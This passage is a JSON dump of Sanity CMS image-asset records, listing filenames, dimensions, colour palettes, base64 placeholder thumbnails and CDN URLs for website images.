":"#aca8a2","foreground":"#000","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.94,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Comcast_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/bf4b3cfb3aded950f9ad4ab70437b205cf9f21c7-1200x630.jpg","sha1hash":"bf4b3cfb3aded950f9ad4ab70437b205cf9f21c7","size":215880,"uploadId":"sBgZZoI4404QTTYv47cIl6E419uqRLJM","url":"https://cdn.sanity.io/images/sczeoy4w/production/bf4b3cfb3aded950f9ad4ab70437b205cf9f21c7-1200x630.jpg"} {"_createdAt":"2024-06-26T21:03:23Z","_id":"image-bf4cba97693e86b534f18b47c4190e3a7a9e6b58-1488x691-png","_rev":"m4mXZHpK6l56U588DCgZz9","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T21:03:23Z","assetId":"bf4cba97693e86b534f18b47c4190e3a7a9e6b58","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M16*w@MHyF559Z-s%2E1E1X900R$DgV??c","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1534008683068016,"height":691,"width":1488},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAACToAAAk6AGCYwUcAAACMUlEQVQokU3SWU8aARiFYX6EwTSGxbIMM8zAwCwsOgMi4K5tvexN0zXVxqJGRenAgEtTVFIrqNgf+zZg0vbqu3tyzpfj8QbeEop/IZqoMRXaYsL3CW9wi0BsF0GtI6YbiJpD3GghG22iqotfdJiKOvhiLkLqO6mZHnKmR1D5gefZ8/d/QV9km8ngZ0LSHnnLJW91kHWHWNpB0lvEjQ6idko40SYguYQSpyRzl2RLv9DtG0SjhyeibCOla8jaPkJiF7+wQzrT4PXmTzbXrlEzLWKjhKaLbHaQzTNE/RwhfY6a7zJTuaGwOGC2OsAo9vGkcvtk7GNyxQb6zDGyfoiW+8ZC+YKC3UFKnSCkGuOEouYSS7WJGxdo1uUYm1+9o7rxwPzqEGvxHo9pHWJXHIpVl/ycQ7bYxLRbJIwGolonljpBNpskcx2UTIdYuk16tsvccp+5lT6V9XuWXj1SffGbwvLwCbTKDnalNQZzxRaG3ULSjokmjsagkmmh/gdqVpfSSp/i8i2l1QHVjSHza0PspYenytnCv8qKMUKOiCgHhOQDwkp9XFnUmkSSDtNxB1E7wyhcY1VvKK/dsfjykcr6I4URGJK3iKlfkVJ7RJQaAWGHoLhLJHFINFlHUE+I603ihks42SQoOYQTHUR99Mcr7IVbSit3FJbuyZUHeCZ8b/D63zEZ+IA38HE8G79QG2OjDUq6g5Jpo2RHkxntsENEPWVaHt0zZLNLMneFku0hmT3+AOXYVMw8zL6OAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404882","foreground":"#fff","population":1.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c157c","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2885","foreground":"#fff","population":9.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#757dc3","foreground":"#fff","population":3.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#adb1e3","foreground":"#000","population":6.71,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656ea8","foreground":"#fff","population":4.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2885","foreground":"#fff","population":9.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event-driven architecture.PNG","path":"images/sczeoy4w/production/bf4cba97693e86b534f18b47c4190e3a7a9e6b58-1488x691.png","sha1hash":"bf4cba97693e86b534f18b47c4190e3a7a9e6b58","size":131452,"uploadId":"9Io1RRn0vOg4CtIp3xCbLIzPLCDhIVQb","url":"https://cdn.sanity.io/images/sczeoy4w/production/bf4cba97693e86b534f18b47c4190e3a7a9e6b58-1488x691.png"} {"_createdAt":"2022-06-15T20:01:40Z","_id":"image-bf700dc0257fb6463966ba02f9f334c7527662c6-752x405-png","_rev":"ecafYeJdFUSoqAVEkXNRGw","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:52:33Z","assetId":"bf700dc0257fb6463966ba02f9f334c7527662c6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MiN]]]_MM}IB?Zs;t7niWEof%1s:WBj]ae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9APvpxfnevvTgwOnhv+XevOfgvPDowffuwvjuv/bsu/Xqt/Dhqt/Gh6yOWmlLNUcsJ0gtKVxAM4twTsSobQD64Lz3yqvsza/Yz7DQyqvWzq3m3rn27cH57r/37bz16bbp1pzFpmuHZUBWOCtXOi52VT+FY0ePb0y6nWUA9uO/79Kx6NOz39a23da04Nq36eK+8OjA8Oe78Oa47N+t2MKIpYVSaEcvVDQpf1g8tIhavpRkso1dw6JoAO7mwd/XtdnSstzUtN7Ytd/auOHbuuDZttrSrNjPptbJmsWueJh8S2hPMl9ALJFjP8eWYdarc9GpctGweQDn4LvVz67OyanKxKXMx6bUz6/W0bHVz6/RyaXQx5/Ux5fJs3ufh1F1YTlsTTCNXTm2hVfInWrHonPRuJIA2tKtwrydu7WYr6qPs66TxsCiy8anysWm0Mej3tKk6Nqj3MaJrpFZgmM6dE4veEsug1Y4jmNCnn5fyLmhANjPqr22lrKsj66pjbGskru1msS/osrEpNXMpebYpvDgpeXOj76aYZlpPoFQMGc9KFs0JV44KX1iTruulQDj2q/SyqTNxaDMxaPLxKXJw6XRy6zg2bPp37Lu36rw36Plzo/DnmSsdkSXYTlsQyxQLyVVNy6DbFfAspIA5tur29Gm2NCn1c6o0cqozsmo19Cu6+K38+ez8eGo8N2f5MyMwZ1ksH5Lq3hKflc5XT4va1NDp5V418yoAO7hrujdrefdrubcseTctOLbteXdte7js/Ljq+/eoe7amuXMisGhZq+HWbiUa5R1VXVZQYZxWcCxjuPYswD05rDz57Pz57P06bn067/17MH06rzy5rLw36Tu25vt2JflzYrFp2y0l2vFsY+nknOGbFCVgWXHt5Pj1q+iILQft/UFwgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f2420","foreground":"#fff","population":6.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3925","foreground":"#fff","population":3.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f2420","foreground":"#fff","population":6.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfbc9a","foreground":"#000","population":2.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecd494","foreground":"#000","population":6.26,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#90856c","foreground":"#fff","population":1.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d55846","foreground":"#fff","population":0.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bf700dc0257fb6463966ba02f9f334c7527662c6-752x405.png","path":"images/sczeoy4w/production/bf700dc0257fb6463966ba02f9f334c7527662c6-752x405.png","sha1hash":"bf700dc0257fb6463966ba02f9f334c7527662c6","size":200212,"uploadId":"ZENyCwtE9x9cuD3BN065LUETYrDiCdB2","url":"https://cdn.sanity.io/images/sczeoy4w/production/bf700dc0257fb6463966ba02f9f334c7527662c6-752x405.png"} {"_createdAt":"2022-06-30T19:58:29Z","_id":"image-bf97e0c1740acc5640d0301827137e6592379f6d-2500x1250-png","_rev":"QRl2cGoCgj0FlAhkRrhoVe","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:08Z","assetId":"bf97e0c1740acc5640d0301827137e6592379f6d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3S5R*My01~B4.~pX8ozNHRk00xa9aafNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2,"height":1250,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAABl0lEQVQokY2RXU8TQRSG+3u88MZbfwQi8d5oDTH+gTXx4+94wbUtrVBYlm73TJcWSb/YfuzOgQjhSzFIy/Q9ZlY2NiRVLp68ZyaT553M5KDpATQ9g6bXM7yApiVoWoCmJzMszMnF2/lRDpqeXg+2P5211hvnrUpjPKw2hVVdWHnCyhVWW7fp3lnP7nvQtCKs8jlh9epnbys8qBfA9QIuey5MXIOJg+l9mCaBgSYIqy40vUuFV5EXHjfLOAyLOPn6BeetikX+xUV7Qy67rvzqb8MkgQirXibMjwfV0EqOmiV8a5TS/Es5xRb+mUs43i3jdG8NP7qbuCN8b98wb+IgvB5UcRV596PvYTyo4iauYZoEgCYr3M+ELzHy6+h7mERe2jge+tnBuQirjKmwEmjaF1YfUqH0NkOzU5AL9VkOw6Kc7q3JZOjb1rnYW80irCJo+miFSxK5K2a32P6+U+wcNVY7Z61KZzLyO9D0X4RVG5rsD68K0xsrfChJ8Byx75hRzbmJa45JAgeaHGGVZjbPh94Kq2Vh9fg3jlOpCCVqdnQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#453426","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e2115","foreground":"#fff","population":0.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d3bbac","foreground":"#000","population":0.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3bbac","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc7c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a66b64","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d35642","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bf97e0c1740acc5640d0301827137e6592379f6d-2500x1250.png","path":"images/sczeoy4w/production/bf97e0c1740acc5640d0301827137e6592379f6d-2500x1250.png","sha1hash":"bf97e0c1740acc5640d0301827137e6592379f6d","size":69764,"uploadId":"fSrq5CSeaQ7y7RkFfhM5cpgJ8aTziPnN","url":"https://cdn.sanity.io/images/sczeoy4w/production/bf97e0c1740acc5640d0301827137e6592379f6d-2500x1250.png"} {"_createdAt":"2024-07-22T14:13:35Z","_id":"image-bff3dbe12824e1e0750c12ba56b492a654f05339-856x856-png","_rev":"7FkI54gkIoGjwSDu3rm06a","_type":"sanity.imageAsset","_updatedAt":"2024-07-30T08:21:30Z","altText":"Ayleen Kim","assetId":"bff3dbe12824e1e0750c12ba56b492a654f05339","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIH-D7^jD$rp?G}*t2tS-;adx]%LIVE2R*nhs9%LW?t7RnkCW-xts.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":856,"width":856},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABYlAAAWJQFJUiTwAAAFb0lEQVQ4jSXMa1fThwHA4f/7vapt1dVWwAbCRSERk3BJIBgIBAIJJIQIhISABBBCIBmGa2lE7ngLIXJPsaBQqNraQrUgyKlK6eZ6qm+2F7ucfYCdsw/w2znb8wEe4d9/nODvW152g1YWu4qZ8pUw4y/h8XAxL6d0HEzk8MOgmi97tAy5i7jeYWJp0Maj8WpC7QV4yhV0WNO51pjPkKcU4T9vw/xrp5eDGRsrnxmZ7TIw32Pkh9sW3q5U8WbOwP6klo2Ajol2PaNeE19cr+HJDRsLnQX4LyloMUiw5SViyjmL8M+9Mf621c3rhVo2h0x80V9K5LMy9hbq+MeWh79uOPllrozvxwxMd5Zwq9PMyrCd727WsNKro79KjlObiF4RRd75Uwh7QSdHi/U8D1pZD5Ryr7+U5YCZ3SUX777p4N1mM2/XG9kL24j0lTHTY+HBqIOt2zV8PVjMmCubVpOc2sIkqjSnEb7/XM/OmJG1njxC7ouEfYUsDZSxPdfAi5U2Dlfb+Mt33RwuN7M2WEFkwMr6uIOnIQdPb5hZ6tIz0pxPV7WcxuIYhFdBMwe3TEQ6suixSumslDPqzuVx2MX+g172Iu0c3rvCzlQNq4FylgOX2JyoZSfs5EXIysNhMzNXjfTZFDg0HyP8ecnB0Ww1ix0q7JrT5MtOUKmLIzRQzuNZL5HPbcx5dYRaNUy25DPtN7E+Zmf3rpODaStPxiwsdZfRZZVhkh1HeBNx8nqmiluNcopSj5Eq+h0Zye/jqpAx1FbKSIOB8BUjtxt0+CxK2iuV3LlqZPuOjWeTJlZ69QQ9RfhMqZikHyL8sujkRfASAbsETcp7ZCS+hyLpGLlpUbiMmYQ91Twb9/JwoAmfOYfC9FiaLDLWhsw8ulbMsDMNtymVhvwEahS/RzicrWXvtpXrjvMUnH+fnOQPUEtPkn0+CmehitXeZn4KDfDjhJ/RehOFcjHW/EQi/SWs9elo0YvJT/0Ig+wjXKpPEH4K2di/WUG4KZ36nNNYldGUZ8ehS0ugrjCHtYF2Xk5fZ3eyj1lPLTV5MhpNF7g/WMaX/jwcmhiUSR+ikxz/f7h9rYRnwwZWOrIYqZYSqE7Da0nDoDyHKSudaW8Tu8FhtscHCF6xc7lQSX99Lo/GKljxa2nWiSnNiKZWK6bbnIyw0KRk05/LA5+a+dYs5tu1BGrV6BQJyMSxtFuMfD3Sy8agn6sVxZizLuCrUjPlyedmg5LOUglei5xgl4En800IEzY5y55sVjuyWfLksOQroK9aiTpFRIroUy4b9Sz2+Zi44qBYIUWZFIcp6xxmVRzlShENOgkD9RrWQ428+3kKYaRKzkKLiohbybxbzYxHi9eixKhOp9Zcxo2+Lu6ND3HVXkl6QhySmCjUySJSRSeQnDmJMSuFDlsuo34L88FWhD7zBaYaMrnrSmfKpeRGo4Yup4Fhv5ev5sP8uPmAx8sRut1tqFJlSM7EoDwr+l8W+/EHZEjFVOgyqC5KQ5+VhNBaJGXUns6dOgXjdjkBx0XGu9xsbazz5sUuRzvbPH24wei1YQq1eqRx8aSJz5ASfZLYU8eQxEdRpJRgUiaTHX8K4bImgX6ThGFrCj2GJDrMKkJDAV493+e3oyOOnu+yvbHGzZFRKszVSJOkpER/giz6OIpPT6A+G02JLB6zPB79uWgEp+oMLRoRbbkiajOjqSvMZHp8nNcHr/jtT79yuH/AN/dXmZmc4A9uH9qLOhSJCeSdjaE0VUS5QkyFIh6rQoxFHotgV8ZhV4mpUcVzKTMBl7mIuWCIw5c/8/bXdxy9fM3Ot9+yvXaf5fBdfC0eqkqKqMzNpCZXQZ02jQatgsZ8BU0Fcv4LcsyAkGdhwZsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e4329","foreground":"#fff","population":6.79,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d3d0b","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5e4329","foreground":"#fff","population":6.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0d5c3","foreground":"#000","population":5.53,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0cd89","foreground":"#000","population":1.66,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a68556","foreground":"#fff","population":2.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c89557","foreground":"#000","population":6.39,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"ayleen-kim.png","path":"images/sczeoy4w/production/bff3dbe12824e1e0750c12ba56b492a654f05339-856x856.png","sha1hash":"bff3dbe12824e1e0750c12ba56b492a654f05339","size":953184,"title":null,"uploadId":"0xjkFyv1ZkWjwTB4C0KJEkqPb5AetwGS","url":"https://cdn.sanity.io/images/sczeoy4w/production/bff3dbe12824e1e0750c12ba56b492a654f05339-856x856.png"} {"_createdAt":"2022-09-07T11:39:49Z","_id":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_rev":"CK1sLU2mnwa3vmbYW9GMPW","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:49Z","assetId":"c05eaf1c20a2726f4c976ed070dbbce0398110b3","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACf0lEQVQ4jZ2V32vXVRzGX1tYk9x2NUetBEEH3VTooAtTMEaElxE0lK38PmczUfwR3Rhd6PBHQRRB3goWWe1KELUgBmFQ9AeUeBGk0J/xfuR9Psdyc621L3xvzuE8n/P8eh/cA/fosxgJsdNi3GLA79R1fBw8S58L/fU/C94HPgg+yqM/z1WwAYvdFvMWsxZjdf1YBcOFURf2uLDThSfzQ6G2d2gZYBRGLF62OG3xo8XXFvsttrmwweJxi1ctLoW4YPFcZVTACZpMltxQ7LA4Ex3YXYvfLL4K8abFcBQ2W7wf4o7FLYvXXdjotzvASBZzSwHHQ8xZLIS4bfGzxUcWr7gwVGmKL0L85dwvfBCFMR+pZ/sq7RPgA+DDCViqfs9YTDe6CfaSxaYQwxYzFjdCLDYWl0Ps8kH6Uz8naFJXM8kz1bFc3O6O5t4G9IQ71z+3uBbiPYsPLb63eNfi2arx4eZ43lS0aKQWnfhp0BYXnnfhDYtPLH6w+LiB77P4Jj9gccqFyShstRh0j35PJ+BURc+MZQ4zOkcsLlpctbhp8ZnFZOQh8ZTFWxZfWnxn8W2TKOV6wYXBBznb6MJrKb7F7xZ/WFy3OGkxYVVzUpbHLEZbjJL+LxZ/Wvxqcd6FF1cEjJUAe2sFnIJolLMt8S+UvWbKva5Gf5tSmimqpny63JT4T1NmIJbFpjZkWWy85tiUGuynW3+vuOvrROQQaMEOccNisXX9slcNturN1MCyxz9ZnKs3LQxFq54fqp5Xq150w2E+xK0Q9+qhDjzpDz0YDv4fw2HEYo/F2Xa7heba9nWNr/hnwCZoHbCRAzaDvK4BmxvtCWiu1icgUvB1PAH3ASM2cIWRinsYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c2c2c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#721b04","foreground":"#fff","population":4.51,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3640d","foreground":"#fff","population":6.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7c3c1c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d47546","foreground":"#fff","population":1.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d674c","foreground":"#fff","population":1.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3640d","foreground":"#fff","population":6.94,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-stars.svg","path":"images/sczeoy4w/production/c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24.svg","sha1hash":"c05eaf1c20a2726f4c976ed070dbbce0398110b3","size":608,"uploadId":"gyqLbZHBBi4G6jgNDxLj9KTJiC8L4V7K","url":"https://cdn.sanity.io/images/sczeoy4w/production/c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24.svg"} {"_createdAt":"2022-06-30T20:00:22Z","_id":"image-c06e6af6bc36f7f2c52a0911ccc2572df1b5c86a-1488x467-png","_rev":"CK1sLU2mnwa3vmbYWEcwEB","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:00Z","assetId":"c06e6af6bc36f7f2c52a0911ccc2572df1b5c86a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D6SY?b8wz.+c+b}s8wmR=c=y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1862955032119915,"height":467,"width":1488},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABBUlEQVQYlWWRTU7DMBCFe/8LcAUkJA5QugiwygrWSaVKWdKi2J6xxz+JHxpX0FRYenqLsT/Pm9nh6QH5+RGnt3e8dh0OhwNe9nv0fY/z+YKcF6S0NF+WFbVWbE+t9U67/NFBPnt8DQOOxyPGccQwDJimCc4RmBOcExBFiGSUcgWXsv77oCrQz2fQ9wVkDbz38CE0FxGklMEcYC3BOQaRh/daFzgXQZRa9+u66ZDZwzoHZkZKCTnnplJKc60bY2EMYZ4ZxnhYG2CMSuB9btBl+QMynLUNGGNs0Bu4gFlg7RU0z9IgOgaNL1IQY7kHajwindUN+Nuhzksv60NVCFfXBW1jbpfyAyXFzbiyZOYoAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d2e06","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ceb1cf","foreground":"#000","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceb1cf","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc749c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7c6c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f25c10","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c06e6af6bc36f7f2c52a0911ccc2572df1b5c86a-1488x467.png","path":"images/sczeoy4w/production/c06e6af6bc36f7f2c52a0911ccc2572df1b5c86a-1488x467.png","sha1hash":"c06e6af6bc36f7f2c52a0911ccc2572df1b5c86a","size":80933,"uploadId":"FHwgCF0I5Uek8WKFTA8GjVay4vV3oqHo","url":"https://cdn.sanity.io/images/sczeoy4w/production/c06e6af6bc36f7f2c52a0911ccc2572df1b5c86a-1488x467.png"} {"_createdAt":"2022-10-25T13:52:03Z","_id":"image-c08bbde2408f10d35b8973161ea986036d883fd3-900x620-png","_rev":"jWeHXhrTidu6SosiPfpwtl","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T13:52:03Z","assetId":"c08bbde2408f10d35b8973161ea986036d883fd3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VRS6MTt0%it7W9t7oeofayRi%jWas*j[Rl%MWXWBfQog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4516129032258065,"height":620,"width":900},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAACcklEQVQokW2TXU/UQBSG+wtNvDL+CX+AJBoxem3iBShEEkiUxBjwxvAREFTQJRpgld2F3aVd2pl2PrYfM52ZTtuZGlzkQnlvTnJynuS9eI7T3JSiKBBCvu8DEFBKtdY3njmTYa1tGvt3afI8HQ4HR8fto+O267pSSvsnzX+wsSatyqCuxsaUxhhrdFFkF77bau23Dr4GINC6tNaUZSmlLJSq6/oa1mXR5smbPNtQsq8ULbVQCnnu+s7W9M72U3/0SWtWlmWSJCDwUQSUEpOmTmMLLQ8TspCQuYS8YsmekjBnH6F3v3N0t3d8B/mPBP8uREYw9tyhf+Eyll0WtNYxFRX8SzJei8l7DJ/HZE3wdkrm4GjaG770z5+hYIolr4XwkzgOIfAvRhhFUkpjaqeQfYoWSbQc0y2K1pK4w7LDKJjtny71uru9zub52QsaLUgxzLlACA0Hp4N+F6FQa+1oBcdki+IVGi1RtMrZIGcnGM54gwde/4l79tg/fxjjpZyfsQxC4PW6v7qdYwD8oigcY5QSbjrewOHiGL9j6W7OvrHkbYrvcXyL49ucTgm2nY73cLiKwqMQBlEEsyyrqtqxVsv8EIFZEq2kcYtEqxR/4Kwt+brOZ0oxr8TnnHk43ASj+TH5IWVelrqujbWNY20pxQmGyzHdz1IPgv0QHnCGpcq0xlVJtM6F4EnsUvKTM1BVwtp6IozTNLauuJKBFETkLI4xJShLU85zIYSUXMh8EqVkVUlrZNPUEx0nelprjTGmrmshJEYYwjCKIoQgQgFCMAxDQogQwpj6mvzH7auXwBgDAKIoCi9zSQIAEEJCXIl17fZvRX7/kpE5NSkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#43423e","foreground":"#fff","population":2.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c2c10f","foreground":"#000","population":0.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8f208","foreground":"#000","population":5.4,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cac9bb","foreground":"#000","population":2.94,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3ef2b","foreground":"#000","population":0.83,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#706c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8f208","foreground":"#000","population":5.4,"title":"#000"}}},"mimeType":"image/png","originalFilename":"c08bbde2408f10d35b8973161ea986036d883fd3-900x620.png","path":"images/sczeoy4w/production/c08bbde2408f10d35b8973161ea986036d883fd3-900x620.png","sha1hash":"c08bbde2408f10d35b8973161ea986036d883fd3","size":34513,"uploadId":"QDlTKWdagyUn6dJu8vRfFtKf9YJw39nD","url":"https://cdn.sanity.io/images/sczeoy4w/production/c08bbde2408f10d35b8973161ea986036d883fd3-900x620.png"} {"_createdAt":"2024-08-05T08:26:57Z","_id":"image-c0bcc47bddfde00af46b56db6d5c49d88030a754-300x300-png","_rev":"m47zVAKzspt7UjVx7z5TzT","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T08:26:57Z","assetId":"c0bcc47bddfde00af46b56db6d5c49d88030a754","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"esLqIYRP_Nt7V@_3ofkCofRjE2ayROWBkC-;ayoLofR*t7ofM{WBWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":300,"width":300},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAADqklEQVQ4jW3Te09TZxwH8L6BCeXce057KrBuWKRAcFMSoiCbMrlouY6BhUJFYOllrVJKXVS2jDmTDcNAICTbijVyaa0tyMwmlOISUUOXhWA7J0R6bi19D0tbW9pl37/OyfN8cn55nu/hMdGw8TAMQ8dDURRF08mrXDzBYDAUCvESCwm8vb39/Nlzl9N512qdm51bWVnx+3w0TSfL/8EMw/j9/vt2m7Gv71xNTXnpidMff9ShVE5OjP/p9TIMkyz/i3d2dux2m6K1pSD3kCxbfCwn62hO9ofS9+WVZyZuj/t9vmSZgjmO83q95oH+IzJpaZ5EU116o11+o02uqz55trhI3aVadbs5jguFQnvxpOA/njy50KEsOfzepZqy+YEe902T+6bJZuo215/SKJoWXU6WYRIyHA6n4rW1XpVSXpz/TfMnVkOn46p26WuD1dAx1Fp1vVf5aMHJ0HQK5jguSlmOZdc97mvqLl3l8e/PV91S1k52N9/Rtg23nR38tOIHXdeyy0FTVAJHxk5cAMfQf60uW67oxlT19/TKWYPKZlDZDZ2/dDdNXWyymjVPnTZmdzccDsdk5MD2Mcu+evH08Y/fOgZ6fhvU//6V4eGXmgem3hld25xe+et35s3lJY6m9vaScHJ1Av/8/cI5szRkXLzSc7//4lx/76xZ/ZP6/LS6ZXl06PXGeijIJWYOBoMpB8Yw9DP3Y8v1Sxb1ZzNfKGb7uufNGoum/Z7xwvr8z9TrV4mjevvlWLdj7QkEAg677fPWBl3V8dFO+bRGMa1tn+pptpjV649cTGTm/URwtPyR9u++eeNZ9ZiMxiP5ssIsUf0xmfZMycC5ssvVJdrGqqmxEb/fH46afRyIxu/zPVxYMF7uK/7gqABGwLR0IQhIhWhpDlmTn3UiN7ulsWHBFb/nRD19L1+ueTwTY2MdCkVRQYEIwxEAAtL5/ANp/APvkBC/6CAmFcL50hy9Trvo